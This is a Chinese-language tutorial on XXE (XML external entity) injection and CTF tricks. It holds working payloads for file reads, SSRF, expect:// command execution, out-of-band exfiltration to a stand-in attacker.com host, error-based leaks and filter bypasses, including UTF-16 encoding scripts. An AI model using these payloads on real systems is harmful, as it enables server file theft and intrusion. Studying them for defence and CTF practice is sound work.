XXE 漏洞原理及 trick 学习
XXE 漏洞原理及 trick 学习
XXE 原理
XXE 指的是 XML 外部实体注入,主要是 XML 解析时未对外部实体加以限制,放任攻击者将恶意代码注入到 XML 中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
XML 基本语法
XML 是一种用标签描述数据结构的标记语言。它的形状大概是这样
<?xml version="1.0" encoding="UTF-8"?>
<book>
<title>XML语法基础</title>
<author id="1001">xnftrone</author>
<price>39.9</price>
</book>
XML 要求:
- 根元素必须存在且只有一个
- 标签必须成对出现、正确嵌套(允许自闭合)
- 标签名区分大小写
- 属性值必须在引号内
标签命名不能以数字或 xml 开头
处理指令
XML 中第一行的常见写法是
<?xml version="1.0" encoding="UTF-8"?>
它用于声明 XML 版本、编码方式等信息,被称为 XML 声明。XML 声明本质上就是一条处理指令。
处理指令(Processing Instruction,PI)可以理解为:写给 XML 解析器或其它处理程序看的额外说明。它的基本语法是:
<?target data?>
其中 target 表示这条指令要交给谁处理,后面的 data 则是附带参数。
实体引用与 DTD
实体可以理解为 “给一段内容起名字,然后在 XML 中重复引用”。最常见的是预定义实体:
< < 小于号
> > 大于号
& & 和号
' ' 单引号
" " 双引号
除了这些内置实体,XML 还允许我们在 DTD(Document Type Definition,文档类型定义)中自定义实体。
DTD 的作用可以理解为:规定这个 XML 文档允许出现哪些元素、属性、实体,以及它们之间的关系。
一个最简单的内部 DTD 例子:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ENTITY author "xnftrone">
]>
<note>
<to>&author;</to>
</note>
这里的 &author; 在解析时会被替换成 xnftrone。
DTD 既可以写在 XML 文档内部,也可以通过外部文件引入:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>user</to>
</note>
如果解析器允许加载外部 DTD 或外部实体,问题就来了。攻击者可以把实体的值指定为本地文件、远程 URL,甚至是另外一段 DTD,从而让服务端代替自己去读取或请求资源。
一个最经典的外部实体导致文件读取的例子:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
如果目标解析器开启了外部实体解析,那么 &xxe; 就会被替换为 /etc/passwd 的内容。
XXE 能成立的关键点不是“使用了 XML”,而是“解析器是否允许解析外部实体 / 外部 DTD,并且解析后的结果是否会进入后续业务逻辑或回显”。
实体有两种引用方式:
- 普通实体:写法一般是
<!ENTITY xxe "value">,引用时用&xxe; - 参数实体:写法一般是
<!ENTITY % xxe "value">,引用时用%xxe;
参数实体只能在 DTD 内部使用,可以理解为是 DTD 的宏定义
例如:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<foo>test</foo>
这段 XML 会让服务端主动请求攻击者控制的 DTD,这也是 OOB(带外)利用的基础。
常见利用与 trick
文件读取
最基础的利用方式就是读取本地文件。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
可以注意到,文件读取实际上是利用了实体对 file 协议的支持
某些环境下,也支持使用 php 协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo>&xxe;</foo>
在这种场景下,一般是通过 php 的 DOMDocument::load() 来解析 xml。容易想到可能存在打 filter 链 rce 或者 CVE-2024-2961 的利用思路。但是需要注意一个问题:
php://filter 是作为外部实体的 SYSTEM 标识符传入 DOMDocument::load(),因此它首先要经过 libxml 的 URI 解析,而不是直接进入 PHP 用户态流处理。| 在这种 URI 语境下不属于稳定、规范的路径分隔字符,容易在外部实体解析阶段被拒绝、归一化或导致后续路径解释异常,从而使整条 filter chain 无法原样传递给底层 stream wrapper。因此需要改用 /,让 payload 同时满足 URI 语法和 php://filter 的路径式解析规则。
SSRF
当外部实体指向一个 URL 时,解析器会代替服务端发起请求,因此 XXE 也经常被当作 SSRF 的入口。
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>
这样可以用于:
- 探测内网服务
- 访问只有服务端才能访问的管理接口
- 打云环境 metadata
RCE
XXE 直接打到 rce 的情况比较苛刻,只做一个补充
比较经典的是 PHP 加载了 expect 模块,则可以配合 expect://
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
Blind XXE
OOB
有些场景下,服务端虽然解析了 XML,但不会把实体内容直接返回给前端,这时就要想办法外带数据。
一个常见思路是通过外部 DTD + 参数实体,让目标把敏感内容拼进一个 URL 中,再请求攻击者服务器。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?x=%file;'>">
%all;
配合主 XML:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
<foo>&send;</foo>
这样即使前端没有任何回显,只要目标成功请求了攻击者的服务器,我们也能从请求日志里拿到文件内容。
一个实际的例子是配合 php 原生类 SimpleXMLElement 进行盲 XXE:
报错
通过远程 DTD 触发报错
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://attacker.com/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message>1234</message>
远程 DTD:
<!ENTITY % start "<!ENTITY % send SYSTEM 'file:///notfound/%file;'>">
%start;
核心思路是让解析器去访问一个不存在的 file:///... 路径,从而在异常信息里泄露 %file; 的内容。
利用本地 DTD 文件
如果目标环境不允许请求外网 DTD,也可以考虑借用目标机器上已经存在的本地 DTD 文件。常见思路是先加载本地 DTD,再利用它内部会触发的参数实体完成拼接。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'file://notfound/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
在这个例子中 /usr/share/yelp/dtd/docbookx.dtd 内部调用了 %ISOamso
嵌套参数实体
虽然标准层面上对“内部实体声明里继续引用参数实体”有限制,但现实里不少 XML 解析器对这个检查并不严格,因此嵌套参数实体在 CTF 里很常见。
例如之前出现过的两层嵌套,需要注意将内部的一些符号实体化
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>">
%start;
%send;
]>
<message>10</message>
如果是基于报错的思路,还能继续套一层,构造三层参数实体,让最终错误 URI 中包含目标文件内容。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % para '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%para;
]>
<message>10</message>
过滤与绕过
过滤 http
利用 data 协议直接内联
<!ENTITY d1 SYSTEM "data://text/plain;base64,SGVsbG8=">
文件上传场景下,可以引用上传的恶意 dtd
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/evil.dtd">
%a;
]>
<test>&hhh;</test>
如果上传点会对文件内容做一些限制,也可以考虑上传经过 base64 处理的 DTD,再在读取时用 php://filter 做解码。
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/evil.jpg">
%a;
]>
<test>&hhh;</test>
编码绕过关键词过滤
XML 声明允许我们指定文档编码:
<?xml version="1.0" encoding="UTF-8"?>
因此可以通过构造不同编码的 xml 进行关键字匹配的绕过,常见的是 utf16
UTF-16 会让大量 ASCII 字符在字节层表现出 00 间隔,可以在保证可读性的前提下绕过
iconv -f utf-8 -t utf-16 payload.xml > payload-utf16.xml
更多情况下,我们需要 xml 声明保持 ascii 可读,因此需要构造双编码的 xml 文件
from pathlib import Path
xml_decl = b'<?xml version="1.0" encoding="UTF-16BE"?>'
xml_body = '<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><root>1</root>'.encode('utf-16-be')
payload = xml_decl + xml_body
Path('evil-double-encoding.xml').write_bytes(payload)
print('written to evil-double-encoding.xml')
如果解析器的解析方式类似 libxml2,则需要在读到 encoding 属性后立即切换编码
from pathlib import Path
xml_decl = b'<?xml version="1.0" encoding="UTF-16BE"'
xml_body = '?><!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]><root>1</root>'.encode('utf-16-be')
payload = xml_decl + xml_body
Path('evil-double-encoding-libxml2.xml').write_bytes(payload)
print('written to evil-double-encoding-libxml2.xml')
一般来说多试试即可
分割字符串绕过关键词过滤
局限性比较强,只能对字符串内容做绕过
CDATA 分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test>uni<![CDATA[o]]>n</test>
</root>
注释分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test>uni<!--foo-->on</test>
</root>
PI 标签分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test>uni<?foo bar?>on</test>
</root>
额外标签分割
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test>uni<foo>bar</foo><x/>on</test>
</root>
其它利用场景
svg
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
excel
xlsx 本质上是一个 zip 包,里面包含多份 xml 文件。解析 excel 文件的服务可能存在 xml 解析
mkdir XXE && cd XXE
unzip ../XXE.xlsx
# 将某个xml文件改成恶意xml,再压缩回去
zip -r ../poc.xlsx *

浙公网安备 33010602011771号